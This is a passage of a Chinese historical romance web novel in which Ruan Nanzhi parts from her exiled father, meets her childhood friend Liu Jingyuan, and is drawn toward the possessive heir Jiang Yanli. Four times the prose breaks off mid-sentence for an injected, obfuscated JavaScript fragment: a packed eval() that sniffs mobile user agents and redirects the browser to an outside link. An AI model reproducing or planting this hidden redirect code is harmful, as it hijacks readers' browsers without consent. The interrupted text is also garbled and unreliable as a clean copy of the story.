这个问题让阮南枝大脑宕机了一瞬,不知怎么的,巧杏所说的“金屋藏娇”,又忽然浮现在自己的脑海当中。 她现在住的宅子,是江砚黎特意在外为她置办的,若是如实告知父亲,以他的脾性,定然会多想误会。 为了省去后续一堆解释不清的麻烦,阮南枝鬼使神差地找了个借口:“如今在……堂舅家借住呢。” 堂舅? 阮礼动作微停,内心总觉得有些不太真实。先前,无非是因为一些嫉妒的原因,林家并不喜和他们来往,自从妻子去世之后,两家彻底断了联系。 如今阮家失势,他们真的会好心收留自己的女儿? “好啦,好啦,爹爹就放心吧,枝枝现在很好!我保证,绝对会好好照顾好自己的!”还不容得他多想下去,阮南枝忽地又再次扑进他的怀里,插科打诨道,“女儿不在,爹爹也要好好照顾自己哦!” 思路被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823505|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一打断,阮礼也只能无奈地笑了笑:”好,爹爹知道啦。” 父女俩又闲聊了些家常,阮南枝拉着父亲的衣袖,执意要陪他下几盘棋。阮礼瞧着女儿眼底的热切,纵有几分无奈,终究还是顺着她的心意应了。 黑白棋子在棋盘上错落落下,直至两局终了,阮礼才斟酌着开口: “枝枝,你陪着父亲也有好一会儿了,该回去了。” 自己现在仍是戴罪之身,纵使有世子照拂,可多留一刻便多一分风险,他生怕牵连了宝贝女儿。 因此,即便不舍,也该和枝枝告别了。 听闻此言,阮南枝捏着棋子的手一顿,脸上的笑意淡了大半。 她望着父亲朝她微笑的神情,鼻尖微微发涩,还是强打起了精神,软着声音道:“枝枝还想再陪爹爹多待一会儿嘛……” 话虽如此,她也知道父亲的顾虑,不一会儿后,慢慢松开了抱住的手臂。 “那爹爹可要好好保重身子,按时吃药,我过几日再来看您。”女孩絮絮叨叨地叮嘱着,眼眶悄悄泛红。 “好。”阮礼笑着回道。 走到门口时,阮南枝又忍不住回头望了一眼,对上阮礼正站在屋内望着她,连忙扬起一个笑脸挥手,脚上的步伐却慢慢的,难以挪动。 她知道,世子这回能破例带她进大牢见父亲,绝非次次都能这般只手遮天。往后案子没彻底了结,父亲的处境未明,她怕是再难有这样近距离探望的机会了。 直至走出了房门,她还频频回头,心里满是不舍,只盼着日子能过得快些,父亲能早日洗清冤屈,一家团聚。 眼见着女孩失魂落魄地从里面走了出来,原本漫不经心的江砚黎敛了几分往日里的懒散。他默了一瞬,而后开口关心道:“怎么了?” “为何见了父亲,却还是不是很开心的样子?” “没有啦,谢谢砚黎哥哥带我来看望父亲,枝枝很开心。” 本该甜软悦耳的女声此时听起来闷闷的,面前之人嘴角硬生生扯出一抹笑来。那笑意只浮在唇畔,没染上眼角眉梢,反倒显得苍白无力,“只是……临别之际,总是难免有万千愁绪笼上心头。” “别难过。” 这个时候,他看着她眼底未散的忧色,再次递过一颗强力定心丸,语气沉稳笃定道:“此事我已上报陛下,想来不日便会有结果,你且放宽心。” “世间之事大抵如此,有聚便有散,有沉便有浮。” 阮南枝望着男子平静的眼眸,听着那些沉稳又有力量的话,心底的焦虑正被一点一点慢慢抚平。 她吸了吸鼻子,先前的委屈与不安渐渐消散,眼眶的红意也淡了些。 虽然没有爹爹的日子她会很担忧,但是……这段时间,世子哥哥会一直陪在她身边。 想到这里,女孩的嘴角勾起一抹羞赧的笑容。那笑意从眼底慢慢散开,如同雨后初晴的暖阳一般,驱散了眉宇间的阴霾。 “嗯,我明白的。”阮南枝抬手轻轻擦了擦眼角残留的湿意,脸上甜美可人的笑容愈发清晰。 17. 陪她 七日后,案件暂行定结。阮礼虽无确凿罪证,不足以坐实重罪,但仍依律被判流放岭南,即日押解启程。 得知这个消息,早已做好了心理准备的阮南枝并没有太过伤心,心中涌起的那点点难过也仅仅是想到自己要与父亲分离一段时间。 因为早在两天前,江砚黎就已经提前向她告知了这一结果: “陛下言,令尊清正耿介,早触朝中诸多势力。事发前,有密报指其私通旧党,陛下明知他绝非此类人,表面震怒,实则另有打算。” “如今朝堂正肃旧党余孽,亟需一人为饵,引出幕后主使。你父亲自苏州刺史调任太常少卿,地方能臣之名入京,恰入众人视线之中。太常寺掌宗庙礼乐,多择清流,此职不涉军政核心,正合陛下所求。” “因此……这案子过两日便要暂行定结了。眼下证据虽不足以定罪,却也需借故处置。你父亲会被判流放岭南,这也是陛下护他的权宜之计。这般处置,实属不得已而为之,并非有意责罚你父亲。待奸佞伏法,皇上自会为他平反昭雪,归还阮家清白。” 说罢,江砚黎一瞬不瞬地盯着面前女孩,没错过一丝一毫的反应,生怕阮南枝会伤心。 正如他所料一般,刚听闻这一消息的阮南枝有一瞬间的怔愣,随即,盈盈泪花缓缓蓄满了眼眶。 泪光潋滟的美人仰起脸来,哀婉动人地看向他。 “竟然是这样吗……” “可是,砚黎哥哥,岭南多瘴疠之气,爹爹如今已年岁渐高,这般环境,我实在担心他的身体呀。” 这副泫然欲泣的模样让男人心头一软,他默不作声地从袖中取出帕子,覆上她的眼角。 从一开始的不甚熟练,到现在已经像把这一动作刻进了骨子里,毕竟这段对她来说极为困难的时日,阮南枝哭的次数还是太多了。 “别哭。”江砚黎无奈叹息,为拭去她泪珠的动作慢而珍重,“我怎会让你父亲在艰难的环境下生活?” 他顿了顿,又继续说:“岭南那边我早已打点妥当,也已向皇上请示过。你父亲到了那里,并不像在京中那样被人紧盯,尽可私下住进我备好的宅子,我断不会让他吃苦受累。” 听闻此言,阮南枝原本焦躁不安的心,好似一瞬间就被抚平了。 因此今日父亲流放岭南的旨意定下,阮南枝早已做好了准备,并不过于悲戚。 从先前的回忆抽离出来后,她忍不住心想,为什么江砚黎总是这样无所不能? 仿佛没有他搞不定的事,再棘手的事情也能举重若轻。 甚至连她没说出口的顾虑,他都能提前预判,妥善安排好。 这份从容与周全,到底是与生俱来的天赋。 越来越觉得,这个男人难以读透。 既让人忍不住依赖,又忍不住生出几分敬畏。 “谢谢砚黎哥哥。”她意随心动,有感而发。 少女一副倾世容貌,天生唇红齿白,抿着嘴儿对他重绽笑颜时,江砚黎不住地微眯起了狭长好看的桃花眼,目中满是浓黑如墨的深沉。 怎么突然对他道谢? 此时的江砚黎不知阮南枝的内心正翻涌着过往思绪,他不动声色地将视线移及她那修长雪颈,随即,玩味地轻笑了一下。 “虽不知枝枝为何突然道谢,但我说了,你我之间,不必如此客气。” 此时正值午后,阳光明媚,两人正处于景安苑的书房内,阮南枝双手托腮,摇头晃脑的动作娇俏可爱极了,她不知道她这幅模样,引得江砚黎的目光总是悄悄往她那儿投去。 女孩抿着檀口樱唇笑吟吟地凑近,好奇地歪了一下脑袋,莫名其妙地来了一句: “砚黎哥哥你如此完美,永远这样游刃有余,枝枝想不到你有什么不能做到的事,你……难道就没有过惊惧担忧之时?” 这样的话语,让江砚黎翻着书的动作顿住了。 不能做到的事情,当然也会有。 他并非完人,也总有自己所做不到的事。 比如……如何得到一个人的心,他其实并没有太多把握。 哪怕他能算尽世事沉浮,勘破人情冷暖,面对眼前的少女,这颗藏着柔软情愫的心脏,竟也会生出几分无措与忐忑。 平日惯于运筹帷幄的自己,却不知该如何将那份深藏的心意安放。 既怕唐突了这样纯粹美好的她,又怕迟了半步,便只能看着她眼底的光落在别人那里。 “自然也是有的……” 想到这里,江砚黎淡淡敛了神色。 原来,哪怕再游刃有余,有了真正在意的人后,也会变得这般患得患失。 不过这些话语,他不会和阮南枝说。 于是,只是随口应了一句,便悄然转变了话题:“近日好像很少见你出门,每次来看你的时候,总见你在景安苑里待着。” “会不会有些无聊?” 阮家正值多事之秋,她身为父亲的女儿,如今寄人篱下,栖身于江砚黎的宅院之中,怎敢轻易踏出景安苑半步? 若是在外撞上相识的贵女,被问及近况如何、如今落脚何处,那些难以启齿的窘迫,她该如何作答? 总不能直言自己成了仰人鼻息的孤女,靠着旁人庇护才得以安身。 故而阮南枝索性闭门不出,断了外出的念头。 这个年纪的女孩,加上本是游春踏芳,呼朋引伴的时节,日日困在一方院落里,按理说该憋闷难耐。 可她性子本就如此,只在熟人面前才显几分活泼,骨子里偏静不好动,待在景安苑里看看书,打理打理花草,倒也不觉难受,反而是难得的清净。 “不无聊呀。”阮南枝认认真真地摇摇头,娇啭的嗓音听得江砚黎内心一动,“砚黎哥哥的景安苑这么完备,所需之物无一缺漏,我在这儿安安稳稳的,已经觉得十分满意了。” “既如此……”她不太愿意出去走动,江砚黎也不强求什么,冠玉俊颜上皆是一派柔色,“那往日,我多来陪陪枝枝,可好?” 真的吗? 她没有听错吧? 世子哥哥竟说要多来陪她? 闻言,阮南枝自然是喜出望外。 这句问句在心底反复盘旋,往日里总是从容淡然的世子哥哥,如今这般主动言说陪伴的话从他口中说出,莫不是……他也待她不同? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833521|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可转念一想,又怕只是自己自作多情,他不过是体恤她寄人篱下、孤寂无聊罢了。 患得患失间,桃颊两侧的热度却丝毫未减。她偷偷抬眼瞥了他一眼,见男人眸中带着温和的笑意,连忙又低下头,嘴角控制不住地微微上扬,满心满眼都是藏不住的欢喜与羞怯。 “可是……”故作矜持的小姑娘,羞赧道,“世子哥哥身负要务,这样会不会太耽误你的时间了?我自己在景安苑待着挺好的,只要砚黎哥哥得空时,能过来瞧一眼枝枝,枝枝就已经很心满意足了!” “不耽误。” 身旁的男人眉眼微舒,笑了一下,俨然一副粲然愉悦的样子,“和枝枝在一起的时候,总觉得时光轻快,心里也松快许多。” “这般自在,倒盼着能多些。” 他的话像一缕风拂过心湖,搅得她心乱不宁,阮南枝只觉一股热流猛地窜上脸颊,耳根子不由得发烫。 不敢抬眼望他,浓密又卷翘的睫毛慌乱轻颤着,脑子里一片空白,只剩那温柔的嗓音在耳畔反复回响。 那股难以言喻的悸动,在心底缓缓蔓延。 “好,枝枝也想砚黎哥哥多来陪陪我……” 言罢,鼓起勇气抬眼望了过去,恰好撞进男人沉沉的眸里。 江砚黎此时的目光比往日更为柔和,牢牢锁住她的眸儿,坦荡地注视着。 四目相对间,空气中似有说不清道不明的缱绻情感在悄悄滋生,缠缠绕绕,拉近了两人之间的距离。 恰在此时,屋外传来了敲门声打断了两人的眼神交流。 巧杏的声音隔着门传了进来:“小姐,宅子门外有客人拜访求见。” “咦?”阮南枝眼底掠过一丝诧异。她在此处落脚之事本就隐秘,知晓的人寥寥无几,怎会有人特意前来拜访?略一思忖,随即扬声应道,“进来吧。” 得了应允后,巧杏轻轻推开门,抬眼便看到屋内靖国公世子正神情淡淡地坐在自家小姐身侧,立刻把头低了下去,不敢多看。 “是谁来拜访?”阮南枝好奇问道。 “回小姐,是同一条街对面的邻居。听闻苑里新来了客人,想着邻里该互相照拂,便特意登门来拜访……” “难得邻居这般有心。”这个理由,倒也能理解,略一颔首后,阮南枝起身,语气干脆地吩咐巧杏,“既是邻里好意,哪有拒之门外的道理?巧杏,快请客人进来奉茶,莫要怠慢了人家。” 说罢,就要同巧杏一起出去会客。 而江砚黎也不紧不慢地起了身,方才眼底的柔意已淡去大半,他声音听着依旧温和,面上的神情似笑非笑的:“我陪你去会客。” 不易察觉地往女孩的身侧凑近了些,与她并肩而立,周身沉稳的气压隐隐透着强势的占有意味。 只有江砚黎自己知道,现在自己的心情实在称不上好。阮南枝是寄住在他苑中,被他放在心上的人,何必对着陌生访客这么热络? 一想到待会儿要对旁人展露笑颜,柔声相待,哪怕只是什么不打紧的邻居,心底也控制不住窜起一丝莫名的烦躁。 不过这份不爽藏得极深,面上依旧是周全得体的贵胄世子模样。 18. 青梅竹马 柳净远在京南隅居住了数载年分,此地僻静安宁,又距热闹的市坊城镇不远,实属难得佳处,如果不是富贵人家,根本买不起这样的地儿。 幼年时,他的家人在苏州经商,积攒下丰厚家资,后来举家迁居京城,因此便在此地定居下来。 这一条安静又安全的街巷,他们旁边的那处宅院常年空置,朱门久闭,不知空了多少年月。 谁知前几日,这处闲置已久的宅子忽然热闹起来,数名仆役络绎而至,洒扫庭院,又添置器物,打理屋舍。 显然,这是要有人住进来了。 于是这日,柳净远秉持着“远亲不如近邻”的念头,一心想着要多关心邻里,好好打好关系,便特意备了份特级茶叶作为礼物,登门拜访这位新邻居。 毕竟邻里之间,日后抬头不见低头见的,如今先主动示好,若是日后生活里有个急事难事也好相互帮衬,就算偶尔有小摩擦小纠纷,也能平心静气好好解决,总比生疏着强。 然而,当柳净远提着礼物踏进邻家宅院,抬眼看清那位新主人的模样时,整个人顿时顿住了脚步,当场愣在了原地。 “南枝?” 闻言,阮南枝的目光看了过去,见到眼前这位俊秀清逸的男子,像是也认出了他是谁,水盈盈的眸子一亮,面上一喜。 “净远哥哥?” 两人显然一副认识的样子,这么多年没见,倒也没有多生疏。 一旁的江砚黎,见到来人是个男子,蓦地勾起了薄凉的唇角,眼底却没有一点儿笑意。 净远哥哥? 她倒是好本事,走到哪儿都能认下哥哥。 这么多的哥哥,倒不知心里究竟装了多少个。 恐怕自己,也不过是其中之一吧。 心中浮起一丝醋意,江砚黎似笑非笑地乜向那个陌生男子,深黑色的眼眸幽邃的可怕。 “怎么,枝枝你们认识?” 对上江砚黎的目光,不知怎么的,阮南枝竟从中感受到了几分冷厉,她莫名地有些小心虚,眨巴着圆溜溜的眼睛,娇声解释道:“先前我在苏州的时候,和净远哥哥一同长大,两家也离得近,我们小时候经常一起玩。” “不过六岁的时候,净远哥哥举家搬到了京城,我还留在苏州。没想到,如今竟然又再次遇见了,真是有缘呢。” 原来还是青梅竹马。 江砚黎漫不经心地扯了一下嘴角。 没想到,自己为阮南枝找的这处安身之所,反倒无心插柳,替这位什么净远哥哥做了嫁衣,让他们这对旧识重逢了。 柳净远也注意到了自己幼时青梅身旁那个气度不凡的男人,于是迟疑了一下,客气地问:“这位是……?” “靖国公世子,江砚黎。” 江砚黎慵懒一笑,那张脸俊美昳丽,偏生语调清冽无波,他垂目颔首,姿态优雅,慢悠悠地朝对方说道。 “啊,原来是靖国公世子,久仰久仰!在下柳净远,先前常听世人提及世子风采,今日得见尊颜,实乃幸事。” 听闻靖国公世子的名号,柳净远内心一惊,险些失态。 毕竟这些年在京中往来游学,没少听闻靖国公世子的美名,他才学卓绝,五岁便能赋诗,十六岁的时候便凭一篇政论震动朝堂。 更兼性情温雅,待人谦和,从不以家世自矜,于他们这些读书人而言,这样兼具才名与风骨的人物,早已是心向往之的偶像,忍不住心生敬慕。 万万没料到,阮南枝竟会与这般身份尊崇,传说中的大人物走得如此亲近,他看向两人的目光不由得带上了几分诧异与探究。 “都别光站着说话了,净远哥哥,快进来呀!这么久没见,好多话想跟你说呢。” 巧笑倩兮的女孩弯了弯柔和的眉眼,热情地邀请着他进来。 她对这柳净远的亲昵称呼,让江砚黎听了心里冷笑一声,面上依旧淡淡含笑,俊容温润无波。 他也顺势抬了抬手,语气从容有礼,一同相邀:“柳公子,进屋再叙吧。” 举手投足间,不仅尽显主人家的得体与风范,还显得他和阮南枝像夫妻一同邀客一般。 入座后,巧杏便从善如流地替几人倒上了茶水。 茶香清冽,沁人心脾,柳净远端起茶盏,轻嗅了嗅茶香,而后小口啜饮,动作间透着儒雅风流的内敛之感。 另一旁,江砚黎指节分明的修长手指搭在盏边,浅酌半口便放下,看起来依旧显得那么漫不经心。 而在两人中间的阮南枝,全然没察觉到空气里隐约的微妙张力,更没体察出江砚黎心底的波澜。 她歪着脑袋,眼神亮晶晶的,像只好奇的小兔子,全然一副呆萌模样,只顾着兴致勃勃地追问柳净远:“净远哥哥,你到京城这些年过得好不好呀?平日里都在忙些什么?有没有再回苏州看看呀?” 女孩语气软糯,满是纯粹的关切。 柳净远笑着回答道:“这些年在京城也算安稳,主要潜心读书备考,闲暇时会和同窗游历一番。至于苏州,心里一直记挂着,只是离家日久,诸事繁杂,竟未能回去一趟。” “今日能再见到南枝妹妹,倒是了了一桩心愿。”他的话语间既有对过往的怀念,也含着与旧友重逢的欣喜。 闻言,阮南枝了然地点点头,一旁的江砚黎只是淡淡地睨了一眼,并未言语。 “那南枝妹妹近来如何呢?”柳净远再次出言询问,随即顿了一下,看了一眼面上没什么表情的江砚黎,又问,“如今……你是和靖国公世子住在一起?” “咳咳咳!” 这等令人误会的含糊句词,阮南枝听到以后吓了一大跳,刚入口的茶水险些呛进气管,莹白粉嫩的小脸瞬间涨得通红。 她慌忙摆着小手,连连解释:“不是不是!净远哥哥你误会啦!这宅子其实是砚黎哥哥的,因为我家中突生了些变故,他好意让我再此落脚,如今我自己住在这儿,他只是偶尔过来坐坐!” 说这话时,水光潋滟的眸子里满是慌乱,全然没察觉这话落在旁人耳中,反倒添了几分欲盖弥彰的意味。 江砚黎也懒懒地笑了,他不置可否地点了点头:“是这样的。” 一边说着,一边熟稔地伸过手,替呛得直蹙眉的阮南枝顺着后背。 动作自然,仿佛做过千百遍一般,不动声色地宣示了两人之间不同寻常的亲近。 看到两人之间的互动,柳净远的眼底闪过一丝难以察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839311|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉的失落,但他很快就把这点情绪藏了起来,然后皱着眉头,语气担忧地问: “怎么了,你方才说,家中生了变故?” “是……”再次提到了父亲的事情,阮南枝其实并不想多说什么,毕竟这事关朝廷秘辛,不便多言,只能哀哀地叹了一口气,“说来话长,总之,现如今我父亲被流放岭南,只有我独自一人还留在京城。” “阮府被封,我只好暂且在这儿住下。” 听得出女孩语气中的含糊和哀伤,柳净远识趣地并没有刨根问底,只是用关切的眼神紧紧注视着她:“既然是这样,若是南枝妹妹有什么需要我帮忙的地方,尽管说好了,若能帮得上忙,我一定会尽我所能……” “多谢柳公子,不过不必了。” 话还没说完,江砚黎便已经挂上温和的笑,不紧不慢地打断他。 “怎好麻烦柳公子,枝枝若遇难处,我自会代为周全。” 觉察到世子话中似有所深意,总感觉他对自己有些莫名的敌意,可瞧着男人一派平和从容,柳净远一时有些琢磨不定,倒显得自己过于多虑了。 “世子说得是,只是枝枝之事我亦挂怀,若是真的有需要,请勿客气,随时告知于我便是。” 他的好意,阮南枝心领了,于是女孩娇嫩嫩的脸儿绽出笑容,一双杏眼清澈透亮地闪着光泽。 “那我也先谢过净远哥哥啦。” 毕竟多年未见,柳净远能清晰察觉到,女孩待他终究存了几分疏离,不复儿时那般毫无芥蒂的亲近。他不愿这份生疏就此延续,便故意拣拾起两人小时候的趣事,一桩桩娓娓道来,语气里满是怀念。 只盼能借着这些温暖旧忆,能消融彼此间的隔阂,唤回几分往日的熟悉。 果不其然,提起这些童年的事儿,阮南枝被逗得喜笑颜开,渐渐话多了起来。 然而,在场的第三人却没这般惬意。 一方面,瞧着心爱的女孩笑得笑靥如花,眉眼弯弯,那模样恰似春日枝头盛放的粉桃,娇媚动人,江砚黎整颗心在不由自主地为她跳动着。 可另一方面,这明媚笑颜却是另一个男人勾起的。 柳净远……从交谈中,江砚黎便觉此人品性端方,谦和有礼又不刻意逢迎,透着一身清正磊落的风骨。 温润又有原则的君子模样,倒真像是阮南枝会喜欢的类型呢。 想到此处,他的心头升起难以言喻的不悦,黝黑眼眸也笼上了一层淡淡的阴霾。 眼前这一幕是越发碍眼了。 一向是泰山崩于前面不改色的江砚黎,此时那张昳丽隽美的面容,难得地染上了一丝森寒郁沉。 今日突然冒出来的这个柳净远,倒像是一记警钟,猛地敲醒了他。 他对阮南枝,想要的从来就不是浅尝辄止的靠近,而是毫无保留地占有。 他想要完完全全地占据阮南枝,不管是身体,还是她的心,只能属于自己。 她的眼里只映着他的身影,目光所及再无旁人,她的心里也只能装着他的名字,喜怒哀乐只能因他而起。 她的依赖、她的偏爱、她毫无保留的信任,都独独予他一人。 容不得分享,更容不得他人觊觎。 19. 不知检点 聊着聊着,窗外天光便悄悄沉了下去,竟不知时辰过得这样快。 阮南枝索性留了柳净远一同用晚膳,待晚膳撤去后,柳净远才起身告辞,离开了景安苑。 眼见着柳净远都走了,却见江砚黎仍坐在原处,全然没有要走的意思。 她心里有些疑惑,悄悄抬眼瞥了他一下,谁知江砚黎似有所觉,黑眸微微一抬,精准地与她撞了个正着。 “唔,那个,砚黎哥哥……”阮南枝的脑袋空白了一瞬,她脱口而出,“天色已晚,夜路难行,不然……不然你今晚就在此留宿吧?” 话音甫落,她便意识到自己这话说得有多不合适,显得她迫不及待邀请外男在自己的寝房歇息一样。 悔得直想咬舌头,粉白娇艳的小脸立刻变得绯红无比。 果不其然,听到这话儿后的江砚黎,似笑非笑地盯着她,看着那蝶翼般的长长眼睑颤抖巍巍,眉目间的玩味更浓了。 “我我我不是那个意思,景安苑的偏房没有人住过,我想着若是世子哥哥来这儿的时候,有事耽搁了,天色晚了不便赶回去,正好能在偏房歇一晚,绝不是别的意思……” 越说越急的阮南枝,眼神躲闪着不敢看面前的男人,生怕从他眼底捕捉到半分调侃,不知自己的这番急切辩解,在外人看来多像是欲盖弥彰。 此时的她只想找一个地缝钻进去,最后干脆闭嘴不说了,委屈巴巴地掩面嗫嚅结束:“算了,你当我没说吧。” “嗯,我知道你不是那个意思。” 美人殷红靡丽的脸蛋让江砚黎微凸的喉结不自觉地滚动了一下,他敛了神色,轻笑一声,全然顺着她的话说道:“枝枝这般体贴,我该要谢谢你才是。” “夜色确实深了,再赶路回临渊府也不妥当。既然偏房空置着,那我便不推辞了,叨扰枝枝一晚。” 男人唇角噙着一抹温雅的笑,语气谦和有礼,礼数周全,听不出半分刻意。 阮南枝闻言,脸上的薄绯还没褪去,又添了几分无措。她下意识点头,声音细若蚊蚋:“没、没关系,不叨扰的……” 这怎么能叫打扰呢,景安苑本就是他的宅子,他想留便留。 越想越觉得不自在,明明是自己主动提议,此刻他真的要留下,她却变得如此慌乱紧张。 阮南枝拍了拍自己白璧无瑕的脸儿,悄悄呼了一口气,试图让自己冷静下来。 …… 月夜寂静,银辉遍洒。 因着阮南枝素来不喜寝殿内侍从过多,只留了外间两个值夜的,夜间内里悄无声息,周遭静谧宁静。 “小姐,您的安神汤。” 这些时日变故迭起,阮南枝心里攒了太多忧思,夜里总辗转难眠,先前全靠安神汤才能勉强合眼。 如今那些沉重的心事虽淡了些,心绪也平和了许多,可喝安神汤的习惯还留了下来,每晚临睡前,仍要让巧杏温一碗来,才能安心躺卧。 接过巧杏递来的安神汤,阮南枝垂着头,小口小口地嘬着。 一碗安神汤见空后,她放下玉碗,想起了什么似的,微微张口:“巧杏,再煮一碗吧,给世子送过去。” “算了。”刚说完,又立刻站起了身,“我自己亲自给世子哥哥端过去吧。” 巧杏想要跟着她一同去,却被她拒绝了,阮南枝独自一人提着一盏提灯,走向小厨房。 炉火余温尚在,她吩咐侍女再次备好一碗温着的汤,随后亲手端起,踏着银辉朝那偏房走去。 “砚黎哥哥,你歇下了吗?” 门外响起了女孩清润娇啭的声音,方才沐浴完毕的江砚黎,系着腰间玉带的动作一顿,抬眼看向了门口,眸间神色晦暗不明。 大掌拉开了门,男人慵懒地倚着门框,墨发未干,几缕湿发贴在寝衣上。 水珠顺着发丝蜿蜒滑落,滑过线条分明的锁骨,坠入微敞的衣襟,最终滑入若隐若现的胸膛。 浴后的湿热气息扑面而来,妖冶得不似人的面容在阮南枝的面前放大,让她顿时心跳如擂,小脸已然红得不成样子。 江砚黎眼底漾着几分漫不经心的笑意,目光落在她端着汤碗的手上,声线如同醇香的美酒,低沉沙哑:“枝枝深夜寻我,可是有要事?” “我是来给你送安神汤的,抱歉,我不知道你才沐浴完……” 没料到会目睹男人这幅诱人光景,阮南枝羞得面红耳赤,根本不敢和他对视,像只鹌鹑般一直低着头。 低垂的脸上,女孩似是羞怯过了头,下颌紧紧收着,露出一截莹白纤细的雪颈。 弧度优美得恰到好处,从耳后延伸至衣领,绒绒的细发贴在颈侧,月光淌在那细腻的肌肤上,更显得她的肌肤白得晃眼。 湿热的呼吸拂过,他忽然生出几分燥热,视线胶着在那细腻的颈间,竟莫名觉得,女孩那莹润小脸得像颗熟透的蜜桃,软嫩得诱人,只想俯身咬上一口,尝尝是不是如想象中那般清甜。 眸色沉了沉,男人掩去眼底翻涌的暗欲,声音比方才更低哑了些:“这是……给我的?” “嗯……” 阮南枝红着脸急匆匆将那碗安神汤塞到江砚黎手里,怯生生地娇声说:“想着你换了住处可能睡不安稳,就、就给你端来了,砚黎哥哥你快喝吧,既然送到了,那我便先走了。” 整个人活像只自投罗网的傻兔子。 “不急。” 男人唇角边的笑意愈发深了,他的大手一把扣住女孩的纤细皓腕,将她拉进了屋内,“外面夜凉,进来坐会儿再走吧。” 阮南枝只觉得被他触碰着的手腕烫得不像话,这股燥热感蔓延到心口,她晕乎乎的,脚步虚浮,竟乖乖跟着他走进了偏房。 江砚黎没多言,当着她的面儿,仰头将那碗安神汤一饮而尽。 喉结滚动的弧度格外性感,喝完后,还目光灼灼地望着她。 “多谢枝枝。” 娇羞怯畏的阮南枝根本不知道要将自己的视线往哪放才是,总是一不小心就瞟到男人那微敞的胸膛。 他他他怎能如此这般轻浮! 当着女子的面,连寝衣都不穿好,分明是蛊惑人心! 此时小姑娘心里乱糟糟的,特别不是滋味…… 他对自己都这样,平日里指不定对多少女子也这样的随意。 阮南枝越想越气,羞恼地鼓起腮帮子,但又不敢正面指责江砚黎,于是乎,只能没什么气势地瘪着红唇,声音细弱可语气里满满都是控诉:“世子哥哥,你……你怎么能如此不知检点!” 闻言,江砚黎有些诧异,他挑了挑眉,心下好笑道:“我怎么了?” 被男人的反问弄得一噎,桃颊红得更甚,阮南枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841887|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆瞪杏目,指着他的衣裳颤巍巍道:“你的衣襟都没系好,当着女子的面这般……这般不规矩,传出去像什么样子?” 她又羞又气的模样,活像被欺负狠了。 听到了女孩的斥责后,江砚黎的第一反应竟是觉得有趣,噙着笑饶有兴致地看着她。 阮南枝琢磨不清他这个反应,只觉得自己愈发委屈。 明明知道两人的关系还没到能管束他的地步,更没资格追问他对旁人的态度,可心里那点憋不住的酸意,还是推着她鼓起勇气,抬眼瞪着他,更进一步质问: “你、你平日里对旁人,也是这样吗?” 男人低低地笑了,胸腔微震,他没急着辩解,随后,牵过女孩发软的手儿,郑重无比地放在了自己的心口。 掌心下的心跳沉稳有力,搅得阮南枝心绪烦乱。 “苍天可鉴,我心中仅有……” 他还没说完,门外就传来了几声小心翼翼的敲门声。吓了一跳的阮南枝猛地缩回了手,慌乱得手足无措,连忙起身前去打开房门。 到底两人也没做什么逾矩的亲密之事,可是阮南枝心虚得厉害,方才那掌心相贴的亲昵,像做了什么见不得人的事情一样,让她又害羞又心慌。 “小姐,时候不早了,您该回去歇息了。”门外是巧杏的声音,听起来有些担忧。 自家小姐方才捧着安神汤独自过来,这都过了许久还没回程,三更半夜的,孤男寡女共处一室,怎么想都叫人放不下心。 她自然知道小姐对世子的心意,可小姐终究是未出阁的姑娘,名节比什么都重要。巧杏不放心,终究还是也来了偏房。 在门外徘徊了好几圈,却不知晓里面二人什么情况,越想越忧心,实在按捺不住,才轻轻叩了门,想催着小姐早些回去。 “哦……”如玉侧颜染着浅浅红绯,艳色撩人,媚色天成。 阮南枝的身子将微敞的门挡得严严实实,根本没敢让巧杏瞥见里面只穿着寝衣的男人,否则若是看见了,她便是有十张嘴也说不清。 抿着唇儿应了一声后,她微微侧过身子来,对着里面的江砚黎期期艾艾道:“那砚黎哥哥,我先回去了。” “嗯,早些休息吧。” 离剖白心迹就只差一步了,居然这样被打断,江砚黎在心中默默喟叹了一声,面上不见半分恼色。 反正来日方长,不急于此刻。 她早已是他的掌中之物了。 